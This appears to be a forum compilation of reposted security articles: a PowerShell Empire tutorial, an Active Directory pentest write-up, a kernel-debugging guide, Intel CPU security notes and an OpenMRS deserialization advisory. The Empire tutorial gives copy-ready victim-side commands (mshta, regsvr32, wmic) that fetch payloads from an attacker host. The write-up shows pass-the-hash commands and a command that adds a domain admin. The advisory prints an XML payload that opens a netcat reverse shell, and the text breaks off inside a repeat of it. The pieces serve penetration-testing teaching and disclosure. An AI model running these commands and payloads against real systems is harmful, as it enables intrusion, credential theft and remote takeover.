Multiple Ways to Exploiting Windows PC using PowerShell Empire posted in Penetration Testing on February 4, 2019 by Raj Chandel SHARE This is our second post in the article series ‘PowerShell Empire’. In this article we will cover all the exploits that leads to windows exploitation with empire. To our first post on empire series, which gives a basic guide to navigate your way through empire, click here. Table of content: Exploiting through HTA Exploiting through MSBuild.exe Exploiting through regsvr32 XSL exploit Exploiting through visual basic script BAT exploit Multi_launcher exploit Exploiting through HTA This attack helps us to exploit windows through .hta. when .hta file is run via mshta.exe it executes as .exe file with similar functionality which lets us hack our way through. To know more about this attack please click here. To run type ‘./Empire’. According to the work flow, firstly, we have to create a listener to listen on our local machine. Type the following command: listeners 1 listeners After running the above command, it will say that “no listeners are currently active” but don’t worry, we are into the listener interface now. So in this listener interface, type : uselistener http set Host http://192.168.1.107 execute 1 2 3 uselistener http set Host http://192.168.1.107 execute Now that a listener is created, type ‘back’ to go in listener interface to create an exploit. For this, type : usestager windows/hta set Listener http set OutFile /root/1.hta execute 1 2 3 4 usestager windows/hta set Listener http set OutFile /root/1.hta execute Running the above commands will create an .hta file to be used as malware. Start the python server using the following command, in order to share our .hta file: python -m SimpleHTTPServer 8080 1 python -m SimpleHTTPServer 8080 As the python server is up and running, type the following command in victims’ command prompt to execute our malicious file: mshta.exe http:/192.168.1.107:8080/1.hta 1 mshta.exe http:/192.168.1.107:8080/1.hta The moment above command is executed you will have your session, to access the session type : interact XDGM6HLE sysinfo 1 2 interact XDGM6HLE sysinfo Exploiting through MSBuild.exe Our next exploit is via MSBuild.exe, which will let you have a remote session of windows using XML file. To know in details about this attack please click here. And to use this exploit type: listeners uselistener http set Host http:/192.168.1.107 execute 1 2 3 4 listeners uselistener http set Host http:/192.168.1.107 execute This creates a listener, type ‘back’ to go in listener interface to create a exploit. For this, type : usestager windows/launcher_xml set Listener http execute 1 2 3 usestager windows/launcher_xml set Listener http execute Now, an .xml file is created in /tmp. Copy this file in victims’ PC (inside Microsoft.NET\Framework\v4.0.30319\) and run it typing combination of following commands: cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\ MSBuild.exe launcher.xml 1 2 cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\ MSBuild.exe launcher.xml So, this way you will have your session, to access the said session type : interact A8H14C7L sysinfo 1 2 interact A8H14C7L sysinfo Exploiting through regsvr32 Our next method is exploiting through regsvr32. To know in detail about this attack, do click here. As always, we have to create a listener first to listen on our local machine. Type the following command: listeners uselistener http set Host http://192.168.1.107 execute 1 2 3 4 listeners uselistener http set Host http://192.168.1.107 execute Now that a listener is created, type ‘back’ to go in listener interface to create an exploit. For this, type: usestager windows/launcher_sct set Listener http execute 1 2 3 usestager windows/launcher_sct set Listener http execute This will create a .sct file in /tmp. Share this file to victim’s PC using python server and then run this file in run window of victims’ PC by typing the following command: regsvr /u /n /s /i:http://192.168.1.107:8080/launcher.sct scrobj.dll 1 regsvr /u /n /s /i:http://192.168.1.107:8080/launcher.sct scrobj.dll Thus, you will have an active session. To access the session type: interact <session name> sysinfo 1 2 interact <session name> sysinfo Exploiting through XSL XSL is a language will helps you format data, this also describes how web server will interact with using XML. Our next method of attack with empire is by exploiting .xsl file. For this method lets activate our listener first by typing : listeners uselistener http set Host http://192.168.1.107 execute 1 2 3 4 listeners uselistener http set Host http://192.168.1.107 execute As the listener is up and running, create your exploit : usestager windows/launcher_xsl set Listener http execute 1 2 3 usestager windows/launcher_xsl set Listener http execute This way .xsl file is created. Now run the python server from the folder where the .xsl file is created as shown in the image below : cd /tmp python -m SimpleHTTPServer 8080 1 2 cd /tmp python -m SimpleHTTPServer 8080 Now execute the following command in the command prompt of your victim: wmic process get brief /format:"http://192.168.1.107:8080/launcher.xsl" 1 wmic process get brief /format:"http://192.168.1.107:8080/launcher.xsl" Running above will give a session, to access the session type : interact <session name> sysinfo 1 2 interact <session name> sysinfo Exploiting through Visual Basic script Our next method is to create a malicious VBS file and exploiting our victim through it. Like always, let’s create a listener first. listeners uselistener http set Host http://192.168.1.107 execute 1 2 3 4 listeners uselistener http set Host http://192.168.1.107 execute Now, to create our malicious .vbs file type : usestager windows/launcher_vbs set Listener http execute 1 2 3 usestager windows/launcher_vbs set Listener http execute Next step is to start the python server by typing: python -m SimpleHTTPServer 8080 1 python -m SimpleHTTPServer 8080 Once the .vbs file is shared through python server and executed in the victim’s PC you will have you r session and just like before to access the session type : interact <session name> sysinfo 1 2 interact <session name> sysinfo Exploiting through .bat In this method, we will exploit through .bat file. Like our previous exploits, this time too, let’s create a listener. For this, type: listeners uselistener http set Host http://192.168.1.107 execute back 1 2 3 4 5 listeners uselistener http set Host http://192.168.1.107 execute back The above commands will create a listener for you. Let’s create our .bat file using following command : usestager windows/launcher_bat use Listener http set OutFile /root/1.bat execute 1 2 3 4 usestager windows/launcher_bat use Listener http set OutFile /root/1.bat execute As shown, the above commands will create a .bat file. Start up the python server by using following command to allow you share you .bat file on your victim’s pc. python -m SimpleHTTPServer 8080 1 python -m SimpleHTTPServer 8080 Once you run the .bat file, a session will activate. To access the session type: interact <session name> sysinfo 1 2 interact <session name> sysinfo Multi_launcher This is our last method of this post. It can be used on various platforms such as windows, linux, etc. again, even for this method, create a listener: listerners uselistener http set Host http://192.168.1.107 execute 1 2 3 4 listerners uselistener http set Host http://192.168.1.107 execute Then type following commands for create your malicious file: usestager multi/launcher set listerner http execute 1 2 3 usestager multi/launcher set listerner http execute Once you hit enter after the above commands, it will give you a code. Copy this code and paste it in the command prompt of victim and hit enter. As soon as you hit enter, you will have activated a session. To access the session, type: interact <session name> sysinfo 1 2 interact <session name> sysinfo Conclusion The above were the methods that you can use to exploit windows using different vulnerabilities. Using this framework is an addition to your pentesting skills after Metasploit. Enjoy! Author: Yashika Dhir is a passionate Researcher and Technical Writer at Hacking Articles. She is a hacking enthusiast. contact here ABOUT THE AUTHOR Raj Chandel Raj Chandel is a Skilled and Passionate IT Professional especially in IT-Hacking Industry. At present other than his name he can also be called as An Ethical Hacker, A Cyber Security Expert, A Penetration Tester. With years of quality Experience in IT and software industry Sursa: https://www.hackingarticles.in/multiple-ways-to-exploiting-windows-pc-using-powershell-empire/

Gaining Domain Admin from Outside Active Directory Mar 4, 2018 …or why you should ensure all Windows machines are domain joined. This is my first non-web post on my blog. I’m traditionally a web developer, and that is where my first interest in infosec came from. However, since I have managed to branch into penetration testing, initially part time and now full time, Active Directory testing has become my favourite type of penetration test. This post is regarding an internal network test for a client I did earlier in the year. This client’s network is a tough nut to crack, and one I’ve tested before so I was kind of apprehensive of going back to do this test for them in case I came away without having “hacked in”. We had only just managed it the previous time. The first thing I run on an internal is the Responder tool. This will grab Windows hashes from LLMNR or NetBIOS requests on the local subnet. However, this client was wise to this and had LLMNR & NetBIOS requests disabled. Despite already knowing this fact from the previous engagement, one of the things I learned during my OSCP course was to always try the easy things first - there’s no point in breaking in through a skylight if the front door is open. So I ran Responder, and I was surprised to see the following hash captured: Note of course, that I would never reveal client confidential information on my blog, therefore everything you see here is anonymised and recreated in the lab with details changed. Here we can see the host 172.16.157.133 has sent us the NETNTLMv2 hash for the account FRONTDESK. Checking this host’s NetBIOS information with Crack Map Exec (other tools are available), we can check whether this is a local account hash. If it is, the “domain” part of the username: [SMBv2] NTLMv2-SSP Username : 2-FD-87622\FRONTDESK i.e. 2-FD-87622 should match the host’s NetBIOS name if this is the case. Looking up the IP with CME we can see the name of the host matches: So the next port of call we try to crack this hash and gain the plaintext password. Hashcat was loaded against rockyou.txt and rules, and quickly cracked the password. hashcat -m 5600 responder /usr/share/wordlists/rockyou.txt -r /usr/share/rules/d3adhob0.rule Now we have a set of credentials for the front desk machine. Hitting the machine again with CME but this time passing the cracked credentials: cme smb 172.16.157.133 -u FRONTDESK -p 'Winter2018!' --local-auth We can see Pwn3d! in the output showing us this is a local administrator account. This means we have the privileges required to dump the local password hashes: cme smb 172.16.157.133 -u FRONTDESK -p 'Winter2018!' --local-auth --sam Note we can see FRONTDESK:1002:aad3b435b51404eeaad3b435b51404ee:eb6538aa406cfad09403d3bb1f94785f::: This time we are seeing the NTLM hash of the password, rather than the NETNTLMv2 “challenge/response” hash that Responder caught earlier. Responder catches hashes over the wire, and these are different to the format that Windows stores in the SAM. The next step was to try the local administrator hash and spray it against the client’s server range. Note that we don’t even have to crack this administrator password, we can simply “pass-the-hash”: cme smb 172.16.157.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:5509de4ff0a6eed7048d9f4a61100e51' --local-auth We can only pass-the-hash using the stored NTLM format, not the NETNTLMv2 network format (unless you look to execute an “SMB relay” attack instead). To our surprise, it got a hit, the local administrator password had been reused on the STEWIE machine. Querying this host’s NetBIOS info: $ cme smb 172.16.157.134 SMB 172.16.157.134 445 STEWIE [*] Windows Server 2008 R2 Foundation 7600 x64 (name:STEWIE) (domain:MACFARLANE) (signing:False) (SMBv1:True) We can see it is a member of the MACFARLANE domain, the main domain of the client’s Active Directory. So the non-domain machine had a local administrator password which was reused on the internal servers. We can now use Metasploit to PsExec onto the machine, using the NTLM as the password which will cause Metasploit to pass-the-hash. Once ran, our shell is gained: We can load the Mimikatz module and read Windows memory to find passwords: Looks like we have the DA (Domain Admin) account details. And to finish off, we use CME to execute commands on the Domain Controller to add ourselves as a DA (purely for a POC for our pentest, in real life or to remain more stealthy we could just use the discovered account). cme smb 172.16.157.135 -u administrator -p 'October17' -x 'net user markitzeroda hackersPassword! /add /domain /y && net group "domain admins" markitzeroda /add' Note the use of the undocumented /y function to suppress the prompt Windows gives you for adding a password longer than 14 characters. A screenshot of Remote Desktop to the Domain Controller can go into the report as proof of exploitation: So if this front desk machine had been joined to the domain, it would have had LLMNR disabled (from their Group Policy setting) and we wouldn’t have gained the initial access to it and leveraged its secrets in order to compromise the whole domain. Of course there are other mitigations such as using LAPS to manage local administrator passwords and setting FilterAdministratorToken to prevent SMB logins using the local RID 500 account (great post on this here). Sursa: https://markitzeroday.com/pass-the-hash/crack-map-exec/2018/03/04/da-from-outside-the-domain.html

Single-stepping through the Kernel Feb 3, 2019 tech linux kernel There may come a time in a system programmer’s life where she needs to leave the civilized safety of the userland and confront the unspeakable horrors that dwell in the depths of the Kernel space. While higher beings might pour scorn on the very idea of a Kernel debugger, us lesser mortals may have no other recourse but to single-step through Kernel code when the rivers begin to run dry. This guide will help you do just that. We hope you never actually have to. Ominous sounding intro-bait notwithstanding, setting up a virtual machine for Kernel debugging isn’t really that difficult. It only needs a bit of preparation. If you just want a copypasta, skip to the end. If you’re interested in the predicaments involved and how to deal with them, read on. N.B.: “But which kernel are you talking about?”, some heathens may invariably ask when it is obvious that Kernel with a capital K refers to the One True Kernel. Building the Kernel Using a minimal Kernel configuration instead of the kitchen-sink one that distributions usually ship will make life a lot easier. You will first need to grab the source code for the Kernel you are interested in. We will use the latest Kernel release tarball from kernel.org, which at the time of writing is 4.20.6. Inside the extracted source directory, invoke the following: make defconfig make kvmconfig make -j4 This will build a minimal Kernel image that can be booted in QEMU like so: qemu-system-x86_64 -kernel linux-4.20.6/arch/x86/boot/bzImage This should bring up an ancient-looking window with a cryptic error message: You could try pasting the error message into Google a search engine: Except for the fact that you can’t select the text in the window. And frankly, the window just looks annoying! So, ignoring the actual error for a moment, let’s try to get QEMU to print to the console instead of a spawning a new graphical window: qemu-system-x86_64 -kernel -nographic linux-4.20.6/arch/x86/boot/bzImage QEMU spits out a single line: qemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5] Htop tells me QEMU is using 100% of a CPU and my laptop fan agrees. But there is no output whatsoever and Ctrl-c doesn’t work! What does work, however, is pressing Ctrl-a and then hitting x: QEMU: Terminated Turns out that by passing -nographic, we have plugged out QEMU’s virtual monitor. Now, to actually see any output, we need to tell the Kernel to write to a serial port: qemu-system-x86_64 -nographic -kernel linux-4.20.6/arch/x86/boot/bzImage -append "console=ttyS0" It worked! Now we can read error message in all its glory: [ 1.333008] VFS: Cannot open root device "(null)" or unknown-block(0,0): error -6 [ 1.334024] Please append a correct "root=" boot option; here are the available partitions: [ 1.335152] 0b00 1048575 sr0 [ 1.335153] driver: sr [ 1.335996] Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0) [ 1.337104] CPU: 0 PID: 1 Comm: swapper/0 Not tainted 4.20.6 #1 [ 1.337901] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014 [ 1.339091] Call Trace: [ 1.339437] dump_stack+0x46/0x5b [ 1.339888] panic+0xf3/0x248 [ 1.340295] mount_block_root+0x184/0x248 [ 1.340838] ? set_debug_rodata+0xc/0xc [ 1.341357] mount_root+0x121/0x13f [ 1.341837] prepare_namespace+0x130/0x166 [ 1.342378] kernel_init_freeable+0x1ed/0x1ff [ 1.342965] ? rest_init+0xb0/0xb0 [ 1.343427] kernel_init+0x5/0x100 [ 1.343888] ret_from_fork+0x35/0x40 [ 1.344526] Kernel Offset: 0x1200000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff) [ 1.345956] ---[ end Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0) ]--- So, the Kernel didn’t find a root filesystem to kick off the user mode and panicked. Lets fix that by creating a root filesystem image. Creating a Root Filesystem Start by creating an empty image: qemu-img create rootfs.img 1G And then format it as ext4 and mount it: mkfs.ext4 rootfs.img mkdir mnt sudo mount -o loop rootfs.img mnt/ Now we can populate it using debootstrap: sudo debootstrap bionic mnt/ This will create a root filesystem based on Ubuntu 18.04 Bionic Beaver. Of course, feel free to replace bionic with any release that you prefer. And unmount the filesystem once we’re done. This is important if you want to avoid corrupted images! sudo umount mnt Now boot the Kernel with our filesystem. We need to tell QEMU to use our image as a virtual hard drive and we also need to tell the Kernel to use the hard drive as the root filesystem: qemu-system-x86_64 -nographic -kernel linux-4.20.6/arch/x86/boot/bzImage -hda rootfs.img -append "root=/dev/sda console=ttyS0" This time the Kernel shouldn’t panic and you should eventually see a login prompt. We could have setup a user while creating the filesystem but it’s annoying to have to login each time we boot up the VM. Let’s enable auto login as root instead. Terminate QEMU (Ctrl-c, x), mount the filesystem image again and then create the configuration folder structure: sudo mount -o loop rootfs.img mnt/ sudo mkdir -p mnt/etc/systemd/system/serial-getty@ttyS0.service.d Add the following lines to mnt/etc/systemd/system/serial-getty@ttyS0.service.d/autologin.conf: [Service] ExecStart= ExecStart=-/sbin/agetty --noissue --autologin root %I $TERM Type=idle Make sure to unmount the filesystem and then boot the Kernel again. This time you should be automatically logged in. Gracefully shutdown the VM: halt -p Attaching a debugger Let’s rebuild the Kernel with debugging symbols enabled: ./scripts/config -e CONFIG_DEBUG_INFO make -j4 Now, boot the Kernel again, this time passing the -s flag which will make QEMU listen on TCP port 1234: qemu-system-x86_64 -nographic -kernel linux-4.20.6/arch/x86/boot/bzImage -hda rootfs.img -append "root=/dev/sda console=ttyS0" -s Now, in another terminal start gdb and attach to QEMU: gdb ./linux-4.20.6/vmlinux ... Reading symbols from ./linux-4.20.6/vmlinux...done. (gdb) target remote :1234 Remote debugging using :1234 0xffffffff95a2f8f4 in ?? () (gdb) You can set a breakpoint on Kernel function, for instance do_sys_open(): (gdb) b do_sys_open Breakpoint 1 at 0xffffffff811b2720: file fs/open.c, line 1049. (gdb) c Continuing. Now try opening a file in VM which should result in do_sys_open() getting invoked… And nothing happens?! The breakpoint in gdb is not hit. This due to a Kernel security feature called KASLR. KASLR can be disabled at boot time by adding nokaslr to the Kernel command line arguments. But, let’s actually rebuild the Kernel without KASLR. While we are at it, let’s also disable loadable module support as well which will save us the trouble of copying the modules to the filesystem. ./scripts/config -e CONFIG_DEBUG_INFO -d CONFIG_RANDOMIZE_BASE -d CONFIG_MODULES make olddefconfig # Resolve dependencies make -j4 Reboot the Kernel again, attach gdb, set a breakpoint on do_sys_open() and run cat /etc/issue in the guest. This time the breakpoint should be hit. But probably not where you expected: Breakpoint 1, do_sys_open (dfd=-100, filename=0x7f96074ad428 "/etc/ld.so.cache", flags=557056, mode=0) at fs/open.c:1049 1049 { (gdb) c Continuing. Breakpoint 1, do_sys_open (dfd=-100, filename=0x7f96076b5dd0 "/lib/x86_64-linux-gnu/libc.so.6", flags=557056, mode=0) at fs/open.c:1049 1049 { (gdb) c Continuing. Breakpoint 1, do_sys_open (dfd=-100, filename=0x7ffe9e630e8e "/etc/issue", flags=32768, mode=0) at fs/open.c:1049 1049 { (gdb) Congratulations! From this point, you can single-step away to your heart’s content. By default, the root filesystem is mounted read only. If you want to be able to write to it, add rw after root=/dev/sda in the Kernel parameters: qemu-system-x86_64 -nographic -kernel linux-4.20.6/arch/x86/boot/bzImage -hda rootfs.img -append "root=/dev/sda rw console=ttyS0" -s Bonus: Networking You can create a point to point link between the QEMU VM and the host using a TAP interface. First install tunctl and create a persistent TAP interface to avoid running QEMU as root: sudo apt install uml-utilities sudo sudo tunctl -u $(id -u) Set 'tap0' persistent and owned by uid 1000 sudo ip link set tap0 up Now launch QEMU with a virtual e1000 virtual interface connected the host’s tap0 interface: qemu-system-x86_64 -nographic -device e1000,netdev=net0 -netdev tap,id=net0,ifname=tap0 -kernel linux-4.20.6/arch/x86/boot/bzImage -hda rootfs.img -append "root=/dev/sda rw console=ttyS0" -s Once the guest boots up, bring the network interface up: ip link set enp0s3 up ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 52:54:00:12:34:56 brd ff:ff:ff:ff:ff:ff inet6 fe80::5054:ff:fe12:3456/64 scope link valid_lft forever preferred_lft forever QEMU and the host can now communicate using their IPv6 Link-local addresses. After all, it is 2019. Copypasta # Building a minimal debuggable Kernel make defconfig make kvmconfig ./scripts/config -e CONFIG_DEBUG_INFO -d CONFIG_RANDOMIZE_BASE -d CONFIG_MODULES make olddefconfig make -j4 # Create root filesystem mkfs.ext4 rootfs.img mkdir mnt sudo mount -o loop rootfs.img mnt/ sudo debootstrap bionic mnt/ # Add following lines to mnt/etc/systemd/system/serial-getty@ttyS0.service.d/autologin.conf # START [Service] ExecStart= ExecStart=-/sbin/agetty --noissue --autologin root %I $TERM Type=idle # END # Unmount the filesystem sudo umount mnt # Boot Kernel with root file system in QEMU qemu-system-x86_64 -nographic -kernel linux-4.20.6/arch/x86/boot/bzImage -hda rootfs.img -append "root=/dev/sda rw console=ttyS0" -s # Attach gdb gdb ./linux-4.20.6/vmlinux (gdb) target remote :1234 Sursa: https://www.anmolsarma.in/post/single-step-kernel/

Intel CPU security features huku edited this page on Jul 31, 2016 · 23 revisions Intel CPU security features List of Intel CPU security features along with short descriptions taken from the Intel manuals. WP (Write Protect) (PDF) Quoting Volume 3A, 4-3, Paragraph 4.1.3: CR0.WP allows pages to be protected from supervisor-mode writes. If CR0.WP = 0, supervisor-mode write accesses are allowed to linear addresses with read-only access rights; if CR0.WP = 1, they are not (User-mode write accesses are never allowed to linear addresses with read-only access rights, regardless of the value of CR0.WP). Interesting links: WP: Safe or Not? NXE/XD (No-Execute Enable/Execute Disable) (PDF) Regarding IA32_EFER MSR and NXE (Volume 3A, 4-3, Paragraph 4.1.3): IA32_EFER.NXE enables execute-disable access rights for PAE paging and IA-32e paging. If IA32_EFER.NXE = 1, instructions fetches can be prevented from specified linear addresses (even if data reads from the addresses are allowed). IA32_EFER.NXE has no effect with 32-bit paging. Software that wants to use this feature to limit instruction fetches from readable pages must use either PAE paging or IA-32e paging. Regarding XD (Volume 3A, 4-17, Table 4-11): If IA32_EFER.NXE = 1, execute-disable (if 1, instruction fetches are not allowed from the 4-KByte page controlled by this entry; see Section 4.6); otherwise, reserved (must be 0). SMAP (Supervisor Mode Access Protection) (PDF) Quoting Volume 3A, 4-3, Paragraph 4.1.3: CR4.SMAP allows pages to be protected from supervisor-mode data accesses. If CR4.SMAP = 1, software operating in supervisor mode cannot access data at linear addresses that are accessible in user mode. Software can override this protection by setting EFLAGS.AC. SMEP (Supervisor Mode Execution Protection) (PDF) Quoting Volume 3A, 4-3, Paragraph 4.1.3: CR4.SMEP allows pages to be protected from supervisor-mode instruction fetches. If CR4.SMEP = 1, software operating in supervisor mode cannot fetch instructions from linear addresses that are accessible in user mode. MPX (Memory Protection Extensions) (PDF) Intel MPX introduces new bounds registers and new instructions that operate on bounds registers. Intel MPX allows an OS to support user mode software (operating at CPL = 3) and supervisor mode software (CPL < 3) to add memory protection capability against buffer overrun. It provides controls to enable Intel MPX extensions for user mode and supervisor mode independently. Intel MPX extensions are designed to allow software to associate bounds with pointers, and allow software to check memory references against the bounds associated with the pointer to prevent out of bound memory access (thus preventing buffer overflow). Interesting links: Intel MPX support in the GCC compiler Intel Memory Protection Extensions (Intel MPX) for Linux intel_mpx.txt in Linux Kernel documentation SGX (Software Guard Extensions) (PDF) These extensions allow an application to instantiate a protected container, referred to as an enclave. An enclave is a protected area in the application’s address space (see Figure 1-1), which provides confidentiality and integrity even in the presence of privileged malware. Accesses to the enclave memory area from any software not resident in the enclave are prevented. Interesting links: Intel Software Guard Extensions (SGX): A Researcher’s Primer CreateEnclave function at MSDN Protection keys (PDF) Quoting Volume 3A, 4-31, Paragraph 4.6.2: The protection-key feature provides an additional mechanism by which IA-32e paging controls access to user-mode addresses. When CR4.PKE = 1, every linear address is associated with the 4-bit protection key located in bits 62:59 of the paging-structure entry that mapped the page containing the linear address. The PKRU register determines, for each protection key, whether user-mode addresses with that protection key may be read or written. The following paragraphs, taken from LWN, shed some light on the purpose of memory protection keys: One might well wonder why this feature is needed when everything it does can be achieved with the memory-protection bits that already exist. The problem with the current bits is that they can be expensive to manipulate. A change requires invalidating translation lookaside buffer (TLB) entries across the entire system, which is bad enough, but changing the protections on a region of memory can require individually changing the page-table entries for thousands (or more) pages. Instead, once the protection keys are set, a region of memory can be enabled or disabled with a single register write. For any application that frequently changes the protections on regions of its address space, the performance improvement will be large. There is still the question (as asked by Ingo Molnar) of just why a process would want to make this kind of frequent memory-protection change. There would appear to be a few use cases driving this development. One is the handling of sensitive cryptographic data. A network-facing daemon could use a cryptographic key to encrypt data to be sent over the wire, then disable access to the memory holding the key (and the plain-text data) before writing the data out. At that point, there is no way that the daemon can leak the key or the plain text over the wire; protecting sensitive data in this way might also make applications a bit more resistant to attack. Another commonly mentioned use case is to protect regions of data from being corrupted by "stray" write operations. An in-memory database could prevent writes to the actual data most of the time, enabling them only briefly when an actual change needs to be made. In this way, database corruption due to bugs could be fended off, at least some of the time. Ingo was unconvinced by this use case; he suggested that a 64-bit address space should be big enough to hide data in and protect it from corruption. He also suggested that a version of mprotect() that optionally skipped TLB invalidation could address many of the performance issues, especially if huge pages were used. Alan Cox responded, though, that there is real-world demand for the ability to change protection on gigabytes of memory at a time, and that mprotect() is simply too slow. CET (Control-flow Enforcement Technology) (PDF) Control-flow Enforcement Technology (CET) provides the following capabilities to defend against ROP/JOP style control-flow subversion attacks: Shadow Stack – return address protection to defend against Return Oriented Programming, Indirect branch tracking – free branch protection to defend against Jump/Call Oriented Programming. Sursa: https://github.com/huku-/research/wiki/Intel-CPU-security-features

PentestHardware Kinda useful notes collated together publicly Comments and Fixes - some very kind people have begun to proofread this as I am writing it. It's still a long way from being finished, but comments are always welcome. Make an issue and provide comments in-PDF if you can. NB - this is very much a work in progress, released early for comments and feedback. Hoping to complete first full version by XMas 2018. For the current releases, this material is released under Creative Commons v3.0 - quote me all you like, and reference my work no problem, print copies for yourselves, but just leave my name on it. Sursa: https://github.com/unprovable/PentestHardware

Matt harr0ey Feb 2 Introduction This beginning alludes to give point simple concept related to using Winrm.vbs to do code executed by XML file so I could collect a few ideas we totally can use to do a simple method is being offered by the red team like Winrm.vbs is getting more popular so I found some things can’t waste any more time to release them, Winrm.vbs ==> Windows Remote Management Synopsis Winrm is simple service to manage your code execute or instruction on any systems via your computer using WS-Management protocol but this service isn’t being offered here in this a blog post I just give local execute but this may happen remotely if you connect with any servers or computers further information, https://docs.microsoft.com/en-us/windows/desktop/winrm/about-windows-remote-management Usage XML/Winrm.vbs First of all if you just heard about XML/Winrm.vbs here at this time when you saw this a blog post I would say, Yes this research winrm.vbs is totally different from any XML codes else so you can go to have a look at this Microsoft’s concept It gives good description to understand Winrm’s instruction to use So what’s the relationship between normal XML and Winrm XML I think the different from normal XML code and Winrm.vbs code is simple different between them there is something called normal XML is easy to understand but it doesn’t Winrm’s XML isn’t, but Winrm.vbs XML has different codes and different uses from normal XML so let’s go to have a look at picture contains a bit instruction related to WInrm’s XML code MS-Windows Remote management Small notes guys It’s better for you to take full privileges Open as administrator or if you use any platforms Empire Powershell or MSF you can go to get more high level than normal session but don’t forget to use Get-TokenPrvivs https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-TokenPrivs.ps1 Currently we have graphic inside a picture shows some information is beneficial for you how XML’s code is being implemented via XML instructions, but be careful because normal language XML cannot be used by Winrm.vbs I think we must use only Winrm’s XML language and Its version, These some instructions take you to how you can execute XML/Winrm.vbs via Cscript.exe although I found something else related to the same execute Winrm.vbs but It doesn’t work on my version windows but may works on Windows server2008 or others versions as well, if you have VM and Windows server2008 you can use this research remotely This text shows remote execute and next picture shows local execute cscript.exe winrm.vbs invoke Create wmicimv2/Win32_Process -SkipCAcheck -SkipCNcheck -remote:https://gist.githubuserconten t.com/homjxi0e/da3a5f4b5f48d60b156960bf27a4d164/raw/b615f853cf962566a516a320e9324fbfdcb124fc/PoCWinrm.xml Here you can look forward to seeing another new Winrm a blog post detected ( RedCanary ) Reference, Lateral Movement Using WinRM and WMI https://www.redcanary.com/blog/lateral-movement-winrm-wmi/ Sursa: https://medium.com/@mattharr0ey/round-of-use-winrm-code-execution-xml-6e3219d3e31

Advisories February 4, 2019 OpenMRS – Insecure Object Deserialization Bishop Fox Security Advisory: Critical Security Vulnerability Discovered in OpenMRS Product Description OpenMRS is a collaborative open-source project through which users can develop software to support healthcare in developing countries. In 2017, OpenMRS was implemented on more than 3,000 sites and stored information for over 8.7 million active patients. The application’s official website is https://openmrs.org/ Vulnerabilities List One vulnerability was identified within the OpenMRS Platform: Insecure object deserialization The vulnerability is described in detail following this summary. Impact This vulnerability is considered as critical because an attacker could gain a shell access to the server without an account or privileges. In addition to that, given the type of information stored in OpenMRS, an exploitation could lead to a leakage of sensitive healthcare data. Affected Versions Versions before and including 2.1.3. All versions of OpenMRS that use the webservices.rest module: • All versions of OpenMRS Platform 1.10.X • All versions of OpenMRS Platform 1.11.X except 1.11.8 and 1.11.9 • All versions of OpenMRS Platform 1.12.X • All versions of OpenMRS Platform 2.0.X • All versions of OpenMRS Platform 2.1.X NOTE: As of November 21, 2018, the assessment team does not know why versions 1.11.8 and 1.11.9 are not affected by this vulnerability. Solution Update the webservices.rest module – the vulnerability was addressed in version 2.24.0. (Read OpenMRS instructions here.) We’d like to thank the developers at OpenMRS for working with us in the disclosure process. They were easy to work with, professional, and willing to put in hours during the holiday season to ensure a solution. Insecure Object Deserialization on the OpenMRS Platform Vulnerability Details CVE ID: CVE-2018-19276 Access Vector: Remote Security Risk: Critical Vulnerability: CWE-502 CVSS Base Score: 10.0 CVSS vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N Java 8 Environment By injecting an XML payload in the following body request to the REST API provided by the application, an attacker could execute arbitrary commands on the remote system. The request below could be used to exploit the vulnerability: POST /openmrs/ws/rest/v1/xxxxxx HTTP/1.1 Host: HOST Content-Type: text/xml <map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>/bin/sh</string> <string>-c</string> <string>nc -e /bin/sh 172.16.32.3 8000</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 POST /openmrs/ws/rest/v1/xxxxxx HTTP/1.1 Host: HOST Content-Type: text/xml <map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> 